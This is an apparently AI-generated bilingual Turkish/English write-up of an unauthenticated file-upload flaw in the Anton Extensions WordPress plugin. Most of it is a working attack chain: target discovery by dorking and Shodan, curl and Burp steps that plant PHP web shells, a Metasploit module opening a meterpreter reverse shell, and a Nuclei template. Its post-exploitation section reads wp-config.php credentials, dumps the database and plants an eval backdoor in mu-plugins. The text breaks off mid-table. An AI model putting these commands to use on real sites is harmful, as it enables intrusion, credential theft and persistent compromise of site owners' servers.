CWE-434
The Anton Extensions WordPress plugin through 1.2.2 does not perform any capability check, nonce verification, or file-type validation before writing attacker-supplied content to an attacker-chosen path, allowing unauthenticated attackers to upload arbitrary PHP files and achieve remote code execution.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑104028 – Anton Extensions WordPress eklentisinin 1.2.2 ve öncesi sürümlerinde dosya yükleme işlevi (upload handler) kritik bir güvenlik kontrolü eksikliği içeriyor.
| Özellik | Açıklama |
|---------|----------|
| CWE | CWE‑434 – Unrestricted Upload of File with Dangerous Type |
| Etki | Yetkisiz bir saldırgan, eklentinin anton_ext_upload() (veya benzeri) fonksiyonunu doğrudan HTTP POST isteğiyle tetikleyerek herhangi bir dosya içeriği ve istediği dosya yolunu (örnek: wp-content/uploads/evil.php) sunucuya yazabilir. |
| Neden | - Capability check (current_user_can()) yok → oturum açmış/rol kontrolü yapılmaz.<br>- Nonce verification (check_admin_referer()) yok → CSRF koruması yok.<br>- File‑type validation (wp_check_filetype_and_ext()) yok → MIME/uzantı kontrolü yapılmaz.<br>- Path sanitization eksik → $_POST['dest_path'] doğrudan wp_upload_dir()['basedir'] ile birleştirilir ve file_put_contents() ile kaydedilir. |
| Kod akışı (simplified) | ``php<br>function anton_ext_upload(){<br> $file_content = $_POST['file_data']; // raw attacker‑controlled string<br> $dest_path = $_POST['dest_path']; // attacker‑controlled relative path<br> $full_path = WP_CONTENT_DIR . '/uploads/' . $dest_path;<br> // NO capability, NO nonce, NO filetype check!<br> file_put_contents($full_path, $file_content);<br>}<br>`<br>Bu fonksiyon, WordPress’in normal admin-ajax.php` üzerinden unauthenticated (kullanıcı girişi gerektirmeyen) bir AJAX endpoint’i olarak kaydedildiği için herkes bu endpoint’e POST isteği gönderebilir. |
---
⚡ Saldırı Zinciri / Attack Chain
1️⃣ Discovery – Hedefin Bulunması
| Adım | Açıklama | Araç / Yöntem | |------|----------|---------------| | a. WordPress site taraması |site:example.com "wp-content/plugins/anton-extensions" gibi Google dorks veya Shodan/Censys sorguları ile Anton Extensions yüklü siteler tespit edilir. | shodan search "Anton Extensions" |
| b. Versiyon tespiti | wp-content/plugins/anton-extensions/readme.txt veya style.css içinde Version: 1.2.2 gibi meta bilgileri çekilir. | curl -s https://example.com/wp-content/plugins/anton-extensions/readme.txt |
| c. Endpoint keşfi | admin-ajax.php?action=anton_ext_upload gibi tipik AJAX action isimleri wp-admin/admin-ajax.php üzerinden deneme‑yanıtı alınarak doğrulanır. | Burp Suite Intruder → admin-ajax.php?action=* fuzzing |2️⃣ Reconnaissance – Gerekli Bilgiler
| Bilgi | Neden Gerekli? | |-------|----------------| |WP_CONTENT_DIR (genellikle wp-content) | Dosyanın nereye yazılacağını belirlemek için. |
| upload_path (WordPress ayarı) | Eğer site wp-content/uploads dışında bir klasör kullanıyorsa, payload’da bu yolu hedeflemek gerekir. |
| PHP execution izinleri | php.ini içinde allow_url_include vs. yoksa sadece .php dosyaları çalıştırılabilir. |
| Web server yapılandırması (Apache/Nginx) | .htaccess veya nginx.conf içinde php dosyalarının çalıştırılabilir olduğu doğrulanmalı. |3️⃣ Exploitation – Saldırı Tekniği
#### a) Basit cURL örneği (tek satır)
```bash
curl -X POST "https://example.com/wp-admin/admin-ajax.php?action=anton_ext_upload" \
-d "file_data=<?php phpinfo(); ?>" \
-d "dest_path=evil<?php echo md5('pwned'); ?>.php"
```
file_data: PHP kodu (örnek:<?php system($_GET['cmd']); ?>).dest_path: İstediğimiz klasör ve dosya adı.../gibi yol geçişi (path traversal) gerekmez, çünkü eklenti zaten tam yolu birleştiriyor.
> Modül: exploit/multi/http/wordpress_anton_ext_upload (kurgusal, henüz resmi repo’da yok, ama örnek olarak)
```bash
use exploit/multi/http/wordpress_anton_ext_upload
set RHOSTS example.com
set TARGETURI /wp-admin/admin-ajax.php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 203.0.113.10
set LPORT 4444
run
```
#### c) Burp Suite – Tam otomatik exploit
1. Proxy ile hedef siteye gidin → admin-ajax.php?action=anton_ext_upload isteğini yakalayın.
2. Repeater içinde file_data ve dest_path parametrelerini yukarıdaki gibi değiştirin.
3. Intruder → Payload Sets:
- Payload 1 (file_data): <?php system($_GET['cmd']); ?>
- Payload 2 (dest_path): shell<?php echo md5('pwned'); ?>.php
4. Attack → Başarılı yanıt (200 OK) alındığında, https://example.com/wp-content/uploads/shell<hash>.php?cmd=id ile komut çalıştırın.
#### d) Nuclei Template (OTX/Community)
```yaml
id: wp-anton-extensions-unauth-file-upload
info:
name: Anton Extensions Unauthenticated File Upload
author: yourname
severity: critical
tags: wordpress,upload,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=anton_ext_upload"
body: "file_data=<?php echo 'nuclei'; ?>\n&dest_path=nuclei<?php echo md5('test'); ?>.php"
matchers:
- type: word
words:
- "nuclei"
part: body
```
Bu template, hedefe bir PHP dosyası gönderir ve yanıt içinde nuclei kelimesi arar; eğer dosya çalıştırılmışsa, sunucu yanıtı içinde nuclei dönecektir.
4️⃣ Post‑Exploitation – Sonrası
| Aksiyon | Açıklama | Araç |
|--------|----------|------|
| Web shell elde etme | shell<hash>.php?cmd=whoami ile sistem hesabı öğrenilir. | cURL / browser |
| Privilege Escalation | WordPress dosya izinleri (www-data vs. root) kontrol edilir; wp-config.php okunarak DB credentials elde edilir. | cat /var/www/html/wp-config.php |
| Veri Çıkarma | wp-config.php → DB credentials → mysqldump ile tüm WordPress DB yedeklenir. | mysqldump -u user -p pass wp_db > wp.sql |
| Kalıcı erişim | wp-content/mu-plugins/persistence.php içine <?php eval($_POST['cmd']); ?> eklenir. | curl -F "file_data=<?php eval($_POST['cmd']); ?>" -F "dest_path=mu-plugins/persistence.php" ... |
| Lateral Movement |
[🤖 GPT-OSS 120B via Groq]
FOFA Sorgusu